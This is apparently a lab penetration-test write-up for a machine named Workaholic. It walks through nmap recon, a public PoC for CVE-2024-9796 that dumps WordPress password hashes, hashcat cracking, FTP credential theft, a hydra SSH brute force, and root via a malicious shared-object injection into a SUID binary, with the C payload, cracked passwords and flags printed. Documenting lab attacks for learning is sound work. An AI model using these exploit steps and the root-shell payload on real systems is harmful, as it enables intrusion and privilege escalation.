report

Report - Workaholic

Author: Henry Post
Target: WORKAHOLIC
Target IP: 192.168.61.229
Date: 03/26/2026

Executive Summary

This machine, Workaholic, was enumerated by nmap to have FTP, HTTP, and SSH open.

The HTTP server was running WordPress which was vulnerable to CVE-2024-9796. This CVE was used to dump a list of users and password hashes on WordPress.

The hashes were cracked, and we found a user, `ted`, that had an FTP login.

From FTP, we downloaded `wp-config.php` which had more credentials in it.

We used `hydra` to enumerate SSH and found that `charlie` had a login on SSH.

We got the user flag from SSH, and used `find / -perm -u=s -type f 2>/dev/null | grep -v snap` to find binaries with SUID set, meaning they can run as root.

We found `/var/www/html/wordpress/blog/wp-monitor` as a SUID binary, ran `strings` on it to discover it loaded shared objects from a specific directory, and used C shared object injection to get root.

Recommendations

Upgrade WordPress plugins vulnerable to CVE-2024-9796 immediately.

Close unnecessary ports like FTP or SSH if they do not need to be open.

Consider using private-public key auth for SSH instead of passwords.

Do not allow FTP users to access sensitive files.

Do not set SUID on binaries that do not need it.

Do not load shared objects if you can avoid it.

References

- https://github.com/meltingscales/CVE-2024-9796

Recon

We ran `nmap -sS -sV WORKAHOLIC`.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sS -sV WORKAHOLIC
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-26 20:50 +0000
Nmap scan report for WORKAHOLIC (192.168.61.229)
Host is up (0.00041s latency).
Not shown: 970 filtered tcp ports (no-response), 27 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.29 seconds
```

We notice FTP, SSH, and HTTP.

We visit the HTTP server and notice it's running WordPress. The lab description mentions CVE-2024-9796, and we find a public exploit on GitHub.

- https://github.com/meltingscales/CVE-2024-9796/blob/main/poc.py

```
┌──(kali㉿kali)-[~/Downloads]
└─$ python poc.py -i workaholic
[!] workaholic has been PWNed!
admin:$P$BDJMoAKLzyLPtatN/WQrbPgHVMmNFn.
charlie:$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.
ted:$P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/

┌──(kali㉿kali)-[~/Downloads]
└─$ date
Thu Mar 26 09:11:23 PM UTC 2026
```

We get 3 password hashes, and crack 2 of them with `hashcat`.

```
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

echo '$P$BDJMoAKLzyLPtatN/WQrbPgHVMmNFn.'  > hashes
echo '$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.' >> hashes
echo '$P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/' >> hashes

hashcat -m 400 ./hashes /usr/share/wordlists/rockyou.txt #--show
```

```
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 400 (phpass)
Hash.Target......: .\hashes.txt
Time.Started.....: Thu Mar 26 16:17:27 2026 (24 secs)
Time.Estimated...: Thu Mar 26 16:17:51 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:   608.4 kH/s (15.09ms) @ Accel:49 Loops:1024 Thr:256 Vec:1
Recovered........: 2/3 (66.67%) Digests (total), 0/3 (0.00%) Digests (new), 2/3 (66.67%) Salts
Progress.........: 43033152/43033152 (100.00%)
Rejected.........: 0/43033152 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#01..: Salt:2 Amplifier:0-1 Iteration:7168-8192
Candidate.Engine.: Device Generator
Candidates.#01...: 0102437121 -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp:  0c Fan:  0% Util: 79% Core:2602MHz Mem:1593MHz Bus:16

Started: Thu Mar 26 16:17:25 2026
Stopped: Thu Mar 26 16:17:52 2026
PS C:\tools\hashcat-7.1.2> hashcat.exe -m 400 .\hashes.txt .\rockyou.txt --show
$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.:chrish20
$P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/:okadamat17
PS C:\tools\hashcat-7.1.2>
```

`ted` user with a password of `okadamat17` works for FTP login. We steal `wp-config.php`.

```
┌──(kali㉿kali)-[~/Downloads]
└─$ ftp ted@WORKAHOLIC
Connected to WORKAHOLIC.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> get wp-config.php
local: wp-config.php remote: wp-config.php
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for wp-config.php (3178 bytes).
100% |***********************************************************|  3178       64.48 MiB/s    00:00 ETA
226 Transfer complete.
3178 bytes received in 00:00 (5.55 MiB/s)
ftp> exit
221 Goodbye.

┌──(kali㉿kali)-[~/Downloads]
└─$
```

Inside `wp-config.php`, we find another credential.

```
kali@kali: ~/Downloads
Session  Actions  Edit  View  Help
  GNU nano 8.7.1                                   wp-config.php
// ** MySQL settings - You can get this info from your web host ** /
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wpadmin' );

/** MySQL database password */
define( 'DB_PASSWORD', 'rU)tJnTw5*ShDt4nOx' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
```

We assume this gives us SSH, and so we use `hydra` to automate trying pairs.

```
usernames.txt:

ted
wpadmin
admin
root
charlie

passwords.txt:

rU)tJnTw5*ShDt4nOx

hydra -L usernames -P passwords ssh://WORKAHOLIC

# [22][ssh] host: WORKAHOLIC   login: charlie   password: rU)tJnTw5*ShDt4nOx
```

Non-root access

We ssh in as `charlie` and steal the non-root flag.

```
Last login: Thu Mar 26 18:10:52 2026 from 192.168.49.61
$ bash
charlie@workaholic:~$ whoami
charlie
charlie@workaholic:~$ ip a |grep 192
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    inet 192.168.61.229/24 brd 192.168.61.255 scope global ens192
charlie@workaholic:~$ hostname
workaholic
charlie@workaholic:~$ date
Thu Mar 26 09:21:44 PM UTC 2026
charlie@workaholic:~$ ls
libsecurity.c  local.txt
charlie@workaholic:~$ cat local.txt
e084640a88f4d76a235d6ace8dd16083
charlie@workaholic:~$
```

Root access

To get root access, we first search for a SUID binary.

```
find / -perm -u=s -type f 2>/dev/null | grep -v snap

<<EOF
charlie@workaholic:~$ find / -perm -u=s -type f 2>/dev/null | grep -v snap
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/fusermount3
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/tmp/bash
/var/www/html/wordpress/blog/wp-monitor
EOF
```

We find a lot, but `/var/www/html/wordpress/blog/wp-monitor` is what we want. We run `strings` on it thusly:

```
strings /var/www/html/wordpress/blog/wp-monitor

<<FILE
...
PTE1
```

```
u+UH
/var/log/nginx/access.log
Error opening log file
%s - - [%*[^]]] "%s %s %s" %s
POST /wp-login.php
[Warning] Possible brute force attack detected: %s
[+] Checking the logs...
/home/ted/.lib/libsecurity.so
[!] This can take a while...
init_plugin
[!] Function not found in the library!
9*3$"
GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0
Scrt1.o
...
FILE
```

We find `/home/ted/.lib/libsecurity.so`. This is a shared object file (C module) that can be loaded into memory. We hope that it's writeable.

We check with `find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|run)'` thusly.

```
find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|run)'

<<FILE
/tmp
/dev/shm
/dev/mqueue
/var/crash
/var/tmp
/var/lib/php/sessions
/home/ted
/home/ted/.lib
/home/charlie
/home/charlie/.local
/home/charlie/.local/share
/home/charlie/.local/share/nano
/home/charlie/.ssh
/home/charlie/.cache
FILE
```

Good! `/home/ted/.lib` is writeable.

We create a file at `/home/ted/.lib/libsecurity.c` with these contents.

```c
#include <stdlib.h>
#include <unistd.h>

void init_plugin() {
    setuid(0);
    setgid(0);
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```

If it is compiled into a module called `libsecurity.so`, and executes when we execute the binary `/var/www/html/wordpress/blog/wp-monitor`, we should get root shell in the same terminal.

```
nano /home/ted/.lib/libsecurity.c

gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so
/home/ted/.lib/libsecurity.c

/var/www/html/wordpress/blog/wp-monitor
```

```
charlie@workaholic:~$ nano /home/ted/.lib/libsecurity.c
charlie@workaholic:~$ gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so /home/ted/.lib/libsecurity.c
charlie@workaholic:~$ /var/www/html/wordpress/blog/wp-monitor
[+] Checking the logs ...
root@workaholic:~# date
Thu Mar 26 09:28:45 PM UTC 2026
root@workaholic:~# whoami
root
root@workaholic:~# cat /root/proof.txt
2ad0f476309fb0c7de35c1d40587c563
root@workaholic:~#
```

We have root pwn.